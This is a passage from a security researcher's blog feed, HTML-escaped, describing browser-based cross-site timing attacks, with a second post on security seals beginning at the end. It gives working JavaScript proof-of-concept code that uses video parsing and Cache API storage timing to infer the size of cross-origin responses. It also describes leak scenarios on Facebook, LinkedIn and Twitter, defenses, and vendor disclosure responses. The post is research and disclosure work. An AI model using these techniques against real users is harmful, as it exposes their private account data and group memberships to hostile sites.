&lt;span class=&quot;nx&quot;&gt;getMeasurement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://social.com/the-force/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;timeTF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;getMeasurement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://social.com/the-dark-side&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;timeTDS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;timeTF&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;timeTDS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;The force is with you!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;All hail the Dark Lord!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In theory, this works like a charm. In practice however, there are many factors that prevent this attack from working reliably. One of the main reasons is that networks (especially wireless ones) are not entirely stable, and since the request is made over the victim’s network, the attacker can not try to improve this. Networks suffer from congestion, jitter and brief interruptions. Any of these factors would ruin the attacker’s attempt to detect the victim’s membership. To make matters worse (in the attacker’s point of view), most resources are sent with &lt;code&gt;gzip&lt;/code&gt; compression, making the difference in resource size (and thus the timing measurement) even smaller. This is most likely why we haven’t seen any news headlines describing attackers used cross-site timing attacks to steal private information.&lt;/p&gt;

&lt;h3 id=&quot;browser-based-timing-attacks&quot;&gt;Browser-based Timing Attacks&lt;/h3&gt;

&lt;p&gt;As part of the research I do at the university of Leuven, I set out to explore these cross-site timing attack in more detail. This lead to the discovery of a new class of timing attacks, namely “browser-based timing attacks”. Instead of relying on the unstable network download time, these attacks leverage side-channel leaks in browsers to measure the time the browser takes to process resources. More concretely, the timing measurement starts right after the resource has been downloaded (thereby avoiding jitter from the network), and stops after it has been processed.&lt;/p&gt;

&lt;p&gt;I discovered four different browser functionalities that can be abused for the purpose of launching these attacks: &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; parsing, &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; parsing, disk storage (Cache API) and storage retrieval (ApplicationCache). In this post, I will only discuss the &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; parsing and disk storage attacks. If you’re interested in the details of the other attacks, have a look at &lt;a href=&quot;/papers/timing-attacks_ccs2015.pdf&quot;&gt;our paper&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;video-parsing-attack&quot;&gt;Video-parsing Attack&lt;/h3&gt;

&lt;p&gt;If you were expecting an elaborate attack with many complex formulae, I am sorry to disappoint you. In fact, it’s as simple as the one above:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;getMeasurement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;v&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;video&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;suspend&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;performance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addEventListener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;performance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;src&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The main difference with the network-based cross-site timing attack, is that the start of the measurement now is when the &lt;code&gt;suspend&lt;/code&gt; event fires. According to &lt;a href=&quot;https://html.spec.whatwg.org/multipage/embedded-content.html#resourceSuspend&quot;&gt;the HTML5 Standard&lt;/a&gt;, the &lt;code&gt;suspend&lt;/code&gt; event is fired when the user agent is no longer downloading the resource. Because the targeted resource is not an actual video, and only a few tens or hundreds kB in size, the event will fire when the resource has been downloaded. After this, the browser will try to parse the resource as a video. Of course, HTML/JSON/… files are not valid video formats, so the browser will trigger the &lt;code&gt;error&lt;/code&gt; event on the &lt;code&gt;&amp;lt;video&amp;gt;&lt;/code&gt; element. But interestingly, the time it takes for the browser to come to this decision is related to the size of the resource, exactly what the attacker is interested in.&lt;/p&gt;

&lt;p&gt;Although this technique overcomes the influence of the network condition, getting just a single measurement for each endpoint might not be sufficient to make it reliable. Instead, the attacker should obtain multiple measurements, and take the average or median. In most cases (except when the &lt;code&gt;Cache-Control&lt;/code&gt; header contains the &lt;code&gt;no-store&lt;/code&gt; directive), the attacker can simply leverage AppCache to force the browser to download and cache the resource. By doing so, only a single request will be sent to the target website, and obtaining an additional measurement only takes 3-5ms.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;It should be noted that this attack does not work in Firefox because it strictly verifies the &lt;code&gt;Content-Type&lt;/code&gt; of the response.&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;cache-storage-attack&quot;&gt;Cache Storage Attack&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Cache&quot;&gt;Cache API&lt;/a&gt;, which aims to replace AppCache, provides developers with a fully programmable cache. More concretely, the Cache API can be used to store, retrieve and delete any type of response. Really, any type of response: cross-origin, authenticated, served with the &lt;code&gt;no-store&lt;/code&gt; directive, you name it.&lt;/p&gt;

&lt;p&gt;Writing a resource to the disk takes a certain amount of time, which is related to the size of that resource (writing 1 byte will obviously be much faster than writing 1GB). If we can measure the time the browser takes to do this, we can again get an estimate of the response size. I wouldn’t be writing this if it weren’t the case, so without further ado, this is what the cache storage timing attack looks like:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;syntax&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;getMeasurement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;no-cors&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;credentials&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;resp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;caches&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;attackz0r&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;performance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Request&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;resp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;clone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;performance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
                    &lt;span class=&quot;nx&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you are not familiar with the Fetch API or Promises, this may look a bit more complicated, but in fact it is simply placing a &lt;code&gt;Response&lt;/code&gt; into the cache. What’s important to note is that on the second line, I passed following options to &lt;code&gt;fetch()&lt;/code&gt;: &lt;code&gt;{mode: &quot;no-cors&quot;, credentials: &quot;include&quot;}&lt;/code&gt;. Basically, this makes sure that the fetch algorithm does not use the Cross-Origin Resource Sharing (CORS) mechanism, and include the cookies with the request (which is important, because we want the response to be specific to the user).
Also, because the &lt;code&gt;Promise&lt;/code&gt; returned by &lt;code&gt;fetch()&lt;/code&gt; resolves as soon as the first byte of the response is received (and not when the complete response is in), I used the very naive &lt;code&gt;setTimeout&lt;/code&gt; method to wait for the response to be downloaded. This can be easily improved by first having a round of &lt;code&gt;cache.put()&lt;/code&gt; and &lt;code&gt;cache.delete()&lt;/code&gt;. Anyways, the take-away message is that we can measure the storage time, and use that to infer the length of the response.&lt;/p&gt;

&lt;h3 id=&quot;performance&quot;&gt;Performance&lt;/h3&gt;

&lt;p&gt;To evaluate the performance of these new browser-based timing attacks, we performed an experiment. We tried to measure the time it would take for an attacker to reliably, i.e. with 95% certainty, determine whether one resource is larger than the other. We did this for files where the difference in file size was 5kb - 100kb, with 5kb increments. The experiments had the following results:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/timing-attacks-comparison.svg&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From the graph, it is immediately clear that, especially for resources where the difference in resource size is small, the browser-based attacks outperform the classic attacks that rely on the network download time. Also interesting to note here, is that the experiments were executed on our university’s (relatively stable) network. Nevertheless, for the case where the difference in resource size was 40kB, the classic method failed to point out the largest of the two resources.&lt;/p&gt;

&lt;h3 id=&quot;real-world-consequences&quot;&gt;Real-world Consequences&lt;/h3&gt;

&lt;p&gt;Now we know that there are techniques that can provide attackers with an estimate of the resource size, why should we care about it? Detecting group membership on social networks may not seem that impressive at first sight. However, if the attacker manages to find enough groups you belong to, he can make an intersection of the members of all these groups and potentially find out your identity (again, the attacker is not supposed to know anything about your identity on other websites).&lt;/p&gt;

&lt;p&gt;By looking at some popular websites, a number of other attack scenarios were discovered. I will give a brief overview of some of them, if you’re interested in the details, have a look at &lt;a href=&quot;/papers/timing-attacks_ccs2015.pdf&quot;&gt;the paper&lt;/a&gt;. I have also set up &lt;a href=&quot;https://labs.tom.vg/browser-based-timing-attacks/&quot;&gt;an attack playground&lt;/a&gt; where you can try out some of these attacks yourself.&lt;/p&gt;

&lt;p&gt;Facebook provides pages the ability to limit the audience that can see a certain post based on the users’ demographics (age, gender, location, language). For instance, I can create a post that can only be viewed by users of 27 years old. For all other users, an error message saying that the content is not accessible will be returned. These two different responses differ in size, and can therefore be used determine whether a user belongs to the one group (users of the age 27), or the other group (users younger or older than 27). The same goes for all the other demographic features.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/fb-limit-audience.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On LinkedIn, you can search through your contacts based on certain criteria. An attacker can send the same requests, and pick the criteria he wants to know more about. By looking at the response sizes, an attacker can determine where the majority of your connections live, work, and what their job title is.&lt;/p&gt;

&lt;p&gt;Twitter users can “protect” their account, which makes their Tweets invisible to anyone who does not follow them. The response size for the profile of following users will thus be larger than that of non-following users.&lt;/p&gt;

&lt;h3 id=&quot;defense-mechanisms&quot;&gt;Defense Mechanisms&lt;/h3&gt;

&lt;p&gt;There are many opportunities to mitigate these attacks. Unfortunately, very little methods can be used to completely thwart these attacks. In my opinion, one of the best candidates is to disable third-party cookies. Not only does it prevent all types of cross-site timing attacks, it also prevents attacks such as cross-site request forgery (CSRF) and cross-site script inclusion (XSSI). In fact, all cross-site attacks are prevented by block third-party cookies (note: XSS is not really a cross-site attack, it was just badly named). The reason this works is because if there are no cookies attached to the requests triggered by the attacker, no user-specific content is returned, so there’s simply nothing for the attacker to steal. By default, all browsers allow third-party cookies, but most of them provide a setting that allows you to block them. I suggest you go ahead and do that right away, you will be surprised by the little impact this has on your typical browsing experience.&lt;/p&gt;

&lt;h3 id=&quot;disclosure&quot;&gt;Disclosure&lt;/h3&gt;

&lt;p&gt;We reported these issues to various parties, both browser vendors as well as websites. Below are a few of their responses.&lt;/p&gt;

&lt;h4 id=&quot;chromium&quot;&gt;Chromium&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://bugs.chromium.org/p/chromium/issues/detail?id=539390&quot;&gt;Bug report&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Response:&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Thanks for reporting this. It seems like this is very similar to another report about cache-based side channel attacks from “The spy in the sandbox,” so I’m marking this as a duplicate. Please take a look at the other bug.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; These attacks have absolutely nothing in common with those from “&lt;a href=&quot;http://www.cs.columbia.edu/~simha/spyjs.ccs15.pdf&quot;&gt;The spy in the sandbox&lt;/a&gt;”.&lt;/p&gt;

&lt;h4 id=&quot;firefox&quot;&gt;Firefox&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1211669&quot;&gt;Bug report&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Most relevant response:&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;This isn’t an issue Firefox can solve on its own; much of it is inherent in the design of the features. After the paper is published we can work with Chrome folks and other browser vendors to see if there are any reasonable ways to address this&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Since then (October 2015), nothing has changed.&lt;/p&gt;

&lt;h4 id=&quot;facebook&quot;&gt;Facebook&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Response:&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;We ended up discussing this at length with the Facebook Security Team, and at the time we do not plan to make any changes to our site.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4 id=&quot;linkedin&quot;&gt;LinkedIn&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Response:&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;ol&gt;
    &lt;li&gt;
      &lt;p&gt;With regard to determining the general geographic region of a member, this is configurable by our members as to how much information they would like to share, in terms of the specificity of location, down to a city/zip code level. This information is not expected to be private, so we don’t consider that aspect a vulnerability.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;With regards to the connection status of two members, this is considered semi-private. There are limitations as to who can see this information, but it is never expected to be 100% private, as first degree members will always be able to see related connections. Do you have any proof of concept code, demonstrating the ability to exploit this in the described manner, that you’d be willing to share with us? If it is possible to exploit in the manner described, we would like to address this.&lt;/p&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;p&gt;The relationship of a member to a company is not considered private information on our site, so we don’t consider that aspect a vulnerability.&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; From the response, it would seem that my report was misunderstood. It doesn’t matter that the information that is leaked is not considered private, what matters is that any website I visit can now learn all this information about me. Online advertising agencies are already building a very extensive profile of me, I don’t want that profile to also include all the information I share on social networks. I want every site I visit to only be able to know things about me that I explicitly shared with them.&lt;/p&gt;

&lt;h3 id=&quot;whats-next&quot;&gt;What’s next?&lt;/h3&gt;

&lt;p&gt;Unfortunately, these browser-based timing attacks are not the only method that can be used to obtain the response size. In a few days, &lt;a href=&quot;http://www.mathyvanhoef.com/&quot;&gt;Mathy&lt;/a&gt; and I will give a &lt;a href=&quot;https://www.blackhat.com/us-16/briefings.html#heist-http-encrypted-information-can-be-stolen-through-tcp-windows&quot;&gt;talk at Black Hat&lt;/a&gt; on how we can leverage TCP windows to determine the exact length of responses on the network level. The week after, we will present &lt;a href=&quot;/academic/#usenix2016-request-and-conquer&quot;&gt;our research&lt;/a&gt; on techniques that can be used to expose the size of cross-origin resources at &lt;a href=&quot;https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/goethem&quot;&gt;USENIX Security&lt;/a&gt;. Spoiler: we introduce two new techniques to get the exact size of cross-origin resources.&lt;/p&gt;</content><author><name>Tom Van Goethem</name></author><category term="Timing Attacks" /><category term="Security" /><category term="Academic" /><category term="Attacks" /><summary type="html">Before you explore all the details of these browser-based timing attacks, head over to my laboratories to play around with these attacks yourself! Timing attacks have been known for a long time. One of the earliest, and possibly the most well-known attacks that leverage timing as side-channel information, are those reported by Paul Kocher in 1996 (to give you an idea, that’s around the same time cookies were first introduced to the web). In his paper, Kocher describes that by measuring the execution time of private key operations, it becomes possible to factor RSA keys and break other cryptosystems such as Diffie-Hellman. After all these years, timing attacks are still highly relevant (you may have heard about the Lucky 13 attack). In the context of the web, one of the earliest mentions of timing attacks was in 2007, by Bortz and Boneh. In their work, the researchers introduced two types of web-based timing attacks: direct timing attacks and cross-site timing attacks. The former describes the scenario where the adversary directly (hence the name) interacts with the web server. For instance, by measuring the time the server takes to process a POST request to the /login endpoint, the attacker can infer the existence of a username. Similarly, when passwords are checked character by character, the adversary can leverage the timing information to figure out at which position the password comparison failed, and use this information to reveal a victim’s password. Cross-site Timing Attacks The remainder of this post will focus on the other type of timing attack, namely the cross-site timing attack. The main difference with direct timing attacks is that in this scenario, it is not the attacker that sends out requests to the targeted website. Instead, by using JavaScript, the attacker triggers to send out carefully crafted requests. As part of the timing attack, the adversary measures the time it takes for the client to download the associated resource. It is important to note here that the requests sent out by the victim are authenticated, i.e. they contain the Cookie header. This means that the response that is returned to the victim will be based on the state of that victim with the targeted website.</summary></entry><entry><title type="html">Clubbing Seals</title><link href="https://tom.vg//2014/11/clubbing-seals/" rel="alternate" type="text/html" title="Clubbing Seals" /><published>2014-11-24T00:00:00+01:00</published><updated>2014-11-24T00:00:00+01:00</updated><id>https://tom.vg//2014/11/clubbing-seals</id><content type="html" xml:base="https://tom.vg//2014/11/clubbing-seals/">&lt;p&gt;Is this website secure? Well, it just contains statically generated content and holds no personal information, so most likely it is. But how would you be able to tell whether it actually is secure?&lt;/p&gt;

&lt;p&gt;This problem is exactly what security seal providers are trying to tackle. These seal providers offer a service which allows website owners to show their customers that their website is secure, and therefore safe to use. This works as follows:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The security seal provider initiates a vulnerability scan towards the to-be-sealed website.&lt;/li&gt;
  &lt;li&gt;When the website is found to be without vulnerabilities, the website owner can include a seal on his website, which links to the seal provider, and shows the security of the sealed website is A-ok.&lt;/li&gt;
  &lt;li&gt;In case some vulnerabilities were found, the seal provider reports these to the webmaster, who has a limited amount of days to fix these before the seal becomes invisible (more on this later).&lt;/li&gt;
  &lt;li&gt;This process is repeated every day, week, month or quarter, depending on the security seal provider.&lt;/li&gt;
&lt;/ol&gt;

